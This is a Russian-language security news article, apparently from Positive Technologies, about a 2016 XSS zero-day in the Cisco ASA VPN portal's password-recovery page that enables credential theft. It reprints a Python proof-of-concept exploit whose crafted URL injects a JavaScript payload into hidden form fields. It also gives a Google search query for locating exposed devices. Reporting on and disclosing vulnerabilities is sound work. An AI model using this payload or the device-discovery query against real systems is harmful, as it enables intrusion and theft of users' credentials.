- PVSM.RU - https://www.pvsm.ru -
В начале февраля 2016 года в сеть попала информация о критической уязвимости [2] межсетевых экранов Cisco ASA, которая позволяет злоумышленникам осуществлять удаленное выполнение кода. Спустя несколько дней после ее исправления, в этом продукте была обнаружена еще одна серьезная ошибка безопасности.
17 февраля исследователь Хуан Сакко опубликовал [3] информацию об уязвимости нулевого дня, с помощью которой, при определенных обстоятельствах, злоумышленник может похитить учетные данные пользователя устройства.
XSS-уязвимость содержится на странице восстановления пароля VPN-портала Cisco ASA. Кража учетных данных пользователей возможна из-за некорректной работы механизма фильтрации полей ввода в форме восстановления пароля (подробнее об уязвимостях этого типа на Хабре уже писали [4]).
Для успешной эксплуатации уязвимости в скрытых полях ввода [5] необходимо, чтобы пользователь Cisco ASA с помощью браузера FireFox перешел по специально сгенерированной злоумышленником ссылке на страницу восстановления пароля VPN-портала (в Chrome эксплуатировать ошибку не удастся) и использовал на ней комбинацию клавиш Alt + Shift + X.
Хуан Сакко опубликовал PoC-эксплоит, демонстрирующий эксплуатацию данной уязвимости:
import string, sys
import socket, httplib
import telnetlib
def run():
try:
Target = sys.argv[1]
Port = int(sys.argv[2])
# Here goes your custom JS agent code
Payload = "alert(1)"
VulnerableURL ="/+CSCOE+/logon.html?reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&username=juansacco%22%20accesskey%3dX%20onclick%3d"+ Payload + "%20sacco&password_min=0&state=&tgroup=&serverType=0&password_"
CraftedRequest = VulnerableURL
# Start the connection
connection = httplib.HTTPSConnection(Target)
connection.request('GET', CraftedRequest)
Response = connection.getresponse()
print "Server status response:", Response.status, Response.reason
data = Response.read()
vulnerable = "Target is not vulnerable"
for line in str(data).splitlines():
if "juansacco\"" in line:
vulnerable = "Targer is vulnerable"
if vulnerable != "Not vulnerable":
print "Result of the test:", vulnerable
# Find the injection on the response
connection.close()
except Exception,e:
print "Exploit connection closed " + str(e)
if __name__ == '__main__':
print "Cisco VPN ASA Exploit - Zero Day"
print "################################"
print "Author: Juan Sacco - jsacco@exploitpack.com"
try:
Target = sys.argv[1]
Port = sys.argv[2]
except IndexError:
pass
Как выяснилось впоследствии представленный код содержал опечатки в коде, а в URL не хватало пробела. После исправления этих недочетов становится возможна эксплуатация уязвимости:
В комментариях к эксплоиту Сакко отмечает, что передал информацию об уязвимости представителям Cisco 4 февраля 2016 года, после публикации соответствующей CVE, 16 числа исследователь распространил информацию об ошибке вместе с эксплоитом.
Кроме того, Сакко приводит ссылку для поиска уязвимых устройств Cisco ASA с помощью Google — www.google.nl/#safe=off&q=+%2F%2BCSCOE%2B%2F
. По его словам поисковик выдает по этому запросу более 18 тысяч ссылок (в настоящий момент — более 24 тысяч).
Найти уязвимые устройства можно также с помощью поисковых систем Shodan и Censys. Специалистам Positive Technologies удалось с их помощью обнаружить более 170 тысяч уязвимых устройств Cisco ASA, более трех тысяч из которых расположены в России.
Для обнаружения описанной Хуаном Сакко уязвимости эксперты Positive Technologies рекомендуют использовать специализированные инструменты защиты — например, систему контроля защищенности и соответствия стандартам MaxPatrol 8 [6].
На протяжении последнего времени исследователи безопасности находили уязвимости не только в продуктах Cisco. К примеру, в конце декабря 2015 года в прессу попала информация о бэкдоре [7] в межсетевых экранах Juniper. Кроме того, в центре скандала оказалась компания-производитель средств защиты Fortinet — в ее продуктах были обнаружены зашитые пароли [8] для удаленного доступа.
Автор: Positive Technologies
Источник [9]
Сайт-источник PVSM.RU: https://www.pvsm.ru
Путь до страницы источника: https://www.pvsm.ru/vpn/112818
Ссылки в тексте:
[1] Image: https://habrahabr.ru/company/pt/blog/277575/
[2] критической уязвимости: https://habrahabr.ru/company/pt/blog/277139/
[3] опубликовал: http://seclists.org/fulldisclosure/2016/Feb/82?utm_source=feedburner&utm_medium=twitter&utm_campaign=Feed%3A+seclists%2FFullDisclosure+%28Full+Disclosure%29
[4] уже писали: https://habrahabr.ru/post/66057/
[5] скрытых полях ввода: http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html
[6] MaxPatrol 8: http://www.ptsecurity.ru/products/mp8/
[7] бэкдоре: http://www.wired.com/2015/12/juniper-networks-hidden-backdoors-show-the-risk-of-government-backdoors/
[8] пароли: http://www.pcworld.com/article/3025835/fortiguard-ssh-backdoor-found-in-more-fortinet-security-appliances.html
[9] Источник: https://habrahabr.ru/post/277575/
Нажмите здесь для печати.